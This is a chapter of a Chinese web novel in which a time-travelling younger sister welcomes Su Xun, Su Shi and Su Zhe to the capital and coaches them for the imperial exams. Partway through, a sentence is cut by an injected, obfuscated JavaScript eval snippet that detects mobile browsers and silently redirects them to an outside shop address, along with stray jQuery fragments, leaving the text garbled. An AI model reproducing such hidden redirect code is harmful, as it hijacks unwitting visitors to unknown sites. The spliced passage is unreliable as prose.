文趣网 > 其他小说 > 小妹穿越,苏轼有福 > 29. 三苏来京 洛神显影
    三月初,万物勃发。

    汴河两岸柳条串珠,“青云锦”后院的老石榴树也冒出点点新绿。

    苏络穿着滚了银边的蓝色襦衣,立在院门口,望着巷口方向。

    素书在一旁笑道:“公子都站半个时辰了,进去歇歇吧,奴婢在这儿盯着。”

    “不碍事。”苏络摇摇头,目光仍望着巷口,“你去厨房煮一壶桂圆饮子吧。”

    “是公子,奴婢马上就去。”素书应着走回小院。

    前日下午,苏络便收到二哥苏辙的书信,说今日能赶到京师。今日休沐不用去官署,苏络一大早便过来了。

    巷口马蹄嘚嘚。

    苏络抬眼望去,见三骑白马踏着斜阳徐行。当先一人方巾青衫,眉目温润,正是二哥苏辙。

    中间笑吟吟的是大哥苏轼。

    老父苏洵端坐马上,抚须打量着繁华御街。

    “大哥,二哥,爹爹!”苏络迎上前来。

    苏轼翻身下马,大步流星:“小妹!可算到了!这一路骑马果然舒服。”

    苏络顾左右无外人,忙低声道:“大哥,在这里我叫苏络,唤我三弟或者络儿就好。”这女儿身在京师可得藏好,一个不小心脑袋会搬家。

    苏轼起了高声:“你叫什么?苏洛?洛神?”

    “大哥,你如何知我网名?”苏络失色道。因为大名苏络,前世朋友圈需要个昵称时,她信手写了“络神”两个字,某音某手蝴蝶号注册时一名贯穿。

    “什么网?鱼网?”苏轼丈二和尚摸不着头脑,眼睛却是一亮,“你当真是洛神?”

    苏络就知道自己又说秃噜嘴了,两人说到岔路上了,这个便宜大哥嘴里的“洛神”是曹植笔下的宓妃。

    苏络挠头笑道:“大哥,我逗你呢,我哪里叫洛神,我叫苏络。络绎不绝的络。”

    哪有这么巧的事儿?苏轼想说说小妖怪,苏辙翻身下马,笑着喊:“三弟?”

    苏轼扶额大笑:“好,三弟。”

    苏洵勒住马,低头笑问:“络儿,咱这是到家了?”

    “到家了,爹,下马吧。”苏络要扶,苏洵摆摆手。苏络接过马缰绳,随手递给夏蝉。

    程夫人闻声走出,一见他们眼眶便红了。

    大苏小苏连声唤娘,声音里全是喜悦。

    程夫人抬袖拭了下眼眸,望着两个儿子,笑问:“路上可好?”

    “好。多亏这三匹白马,跑起来跟飞一样,省了许多时日。”苏轼朗声道。

    程夫人上下打量着儿子和丈夫,风尘仆仆,三人面皮黝黑了些许,却并未见瘦削。

    程夫人眼里满是欣慰。

    王弗唇轻抿,目光温软地看向自家相公。苏轼跳下马来,揽住她肩头:“娘子,一向可好?”

    王弗满脸霞起,急忙挣脱,低声嗔道:“都看着呢,郎君莫要轻浮。”

    史棠咧唇笑了笑,目光转向苏辙,问一路可还顺利。苏辙点头道甚好。

    “进屋吧,”程夫人说,“都饿了,先吃饭。”

    听闻老爷少爷们到京师了,两位乳娘下厨,做了一桌好菜,且都是眉山味道。

    “好吃。”苏轼埋头对着腊肉炒笋吃得直呼过瘾,苏辙也频频举箸,眼里只有酸菜炖豆腐,连苏洵都多添了半碗饭。

    饭毕,撤去碗碟,程夫人带众人去厨下收拾,留父女几人在堂屋说话。

    烛火跃动,室内忽明忽暗。

    苏洵放下茶盏,看向女儿:“说说吧,京中形势如何。”

    苏络拣着紧要的说了。

    老苏面色凝重,捻须道:“官家春秋已高,膝下却无龙鳞儿,的确关系社稷安稳。”

    “爹爹不必忧心,汝南郡王(赵允让)十三子赵宗实,从小养在宫中,当是太子人选。只是官家至今不甘心罢了。”

    “这倒也是。汝南郡王在先皇真宗时,也曾被接到宫中作养子七年,刘德妃生了龙子后,被送回王府。”

    父亲一说,苏络一下子记起来,史书上的确记载过。

    真宗之子信国公赵祐早夭,便将八岁的赵允让接到宫中,谁想七年之后又生赵祯,于朝庭而言大喜,于赵允让而言竹篮打水一场空。

    难怪嘉祐八年,赵宗实在仁宗葬礼上直接疯了,养病一年多方才亲政。原来,他们父子都在宫中当过备胎受过蹂躏。

    苏络暗暗发誓,仁宗殡天后,一定要保义兄上位。

    对啊,前世看过的“狸猫换太子”,说的就是赵祯身世。遂低声爆料道:“官家是李姓侍女所生,被刘德妃,也就是后来的刘太后狸猫换太子夺了。”

    三苏震惊,苏轼直接叫起来:“还有这等欺天事?”

    “刘太后逝后,官家晓得了亲母是谁,封李宸妃为太后,与刘太后一样共享太庙。”苏络又道。

    苏辙听得入神,忽然插嘴道:“尔今这局势,咱们该当如何?”

    “两位兄长当务之急,是备考。”苏络急忙说。

    她取出两份书单,晃了晃:“近年策论题目,有几位知贡举官的喜好和避讳。大哥文采飞扬,须防策论放旷。二哥文章稳当须防拘谨。”

    大苏小苏伸手要接,苏络嘟嘴:“自蜀地来京师,父亲与哥哥一路上必是写了不少好诗,拿来换啊。”

    苏轼大笑:“你这个小妹,还是这么调皮。”

    苏辙则翻找褡裢,找出一摞澄心堂麻纸:“全在这里。”

    父子三人出川后,自阆中上终南山,走古栈道,经大散关进入关中后向东进入河洛平原,才来到汴京。

    这一路好景不断,有感而发,自然也写了不少好诗。

    苏络翻阅着,面露喜色:“父兄诗词功夫,已是出神入化,这些景点有福了。”

    三苏自然不会知道,很多山川在千年之后因为他们的诗赋而闻名天下,游人如织,地方政府哐哐点钱。

    苏轼抢来策论集,翻了翻,啧啧称奇,问苏络从哪弄来的。

    苏络笑而不语。

    苏洵望着女儿,目光里带着欣慰与骄傲。

    “还有一事,”苏络道,“父亲可去拜会欧阳修学士。女儿离京前,已在他面前提过父亲文章。他想见您一面。”

    苏洵眉头一动:“欧阳永叔?”

    “正是。”苏络点头,“父亲休息几日便可投帖,欧阳先生深得圣心,今年科考很有可能是主考官。”

    苏洵点头:“正好你安道世伯有荐书给欧阳先生。”

    张方平字安道,自号“乐全居士”,苏络自然晓得。

    前世就是因为父亲未呈荐书,导致欧阳先生不知苏轼才

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644055|205489||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    华盖世,误以为那锦绣文章是弟子曾巩的,错判让大苏屈居第二。

    苏络面色一凛:“父亲定要将张世伯荐书,呈欧阳先生,兹事体大。”

    苏洵诧异地看了女儿一眼,点了点头。

    “小妹这一年,不虚此行。”苏轼说着,拿大针挑了挑烛芯子,屋内明亮了几分。

    苏络垂眸轻笑。

    “你们爷几个,这么晚了还不睡?”程夫人推门进来,托盘上有几盏热饮,“喝点热饮,早些歇息。明日还要收拾屋子呢。”

    苏轼端起,喝了一口,笑道:“娘说得是。小妹,往后咱们一家人都在京中,有什么事,一起扛。”

    “好。”苏络笑着应下。

    苏络扫视一圈,满意地笑了。

    烛光橘红,照得满室温暖,一家人其乐融融就是幸福。

    夜深了,苏络先引着长兄,来找长嫂王弗,“就一间,终是有点窄巴,比不上眉山来风轩,将就一下吧。”

    来风轩原先叫南轩,父亲苏洵为其更名来风轩,花藤缠绕,鸟雀啾啾。

    王弗笑道:“小妹说的哪里话,这就很好啦,在京师嘛,居大不易。”

    苏轼大咧咧地笑:“一家人住一起就好,管它大小作甚。”

    跟过来的苏辙道了声小妹,点头道:“我们甚是值足。”

    看着二哥,苏络心下一酸。

    前世苏辙不光是扶哥魔,还是个女儿奴,被五个女儿的嫁妆压弯了腰。大苏给人信中曾言“子由有五女,负债如山积。”

    二哥自己则说“盎中粟将尽,橐中金亦殚。”直到晚年,他才在汴京花九千四百贯,买了一所小宅院。

    这一世,她要多多挣银两,不会让二哥再受这份苦楚。

    “用不了多少时日,小妹就有希望给咱家换个大宅院,到时就有书房啦。”

    看着小妹成竹在胸,大苏小苏皆一脸震惊。

    小妹口中的大宅院,那得要多少银两?最少也得几万贯吧?

    她不会是要抢钱庄吧?

    苏络视两位兄长神色,便知自己吓着他们了,忙笑笑:“科举之年,京中举子数十万。如此人流,还不就是钱流么?”

    不愧是眉山首富程文应的外孙女,商机看得如此透彻。

    苏辙心下叹服:“小妹衣钵传承,若是外祖父泉下有知,不知得高兴成啥样呢。”

    苏络挠挠头,不好意思地笑了:“小妹不过是有这么个打算。”

    月光如水,铺了满地。

    那三匹白马,拴在后院的柱子上,正安静地嚼着草料。

    苏络走过去,伸手摸了摸那匹最高大的白马。它抬起头,蹭了蹭她的掌心,又低头吃草。

    “多谢。”她轻声说道,“把爹爹与哥哥们,安安稳稳地带到京师。”

    月光下,白马打了个响鼻,像是听懂了。

    远处传来更鼓声,一下一下,悠长而沉静。

    苏络拢了拢衣襟,牵出枣红马,又喊出秋月:“秋月,上来,你我同乘一马。”

    秋月面有赧色,低声道:“你现在可是三公子。”

    “公子就公子吧,上来。”苏络调侃道,“与美人同乘,本公子心旷神怡。”

    说罢,翻身上马,把秋月一把拽上来,奔着络园而去。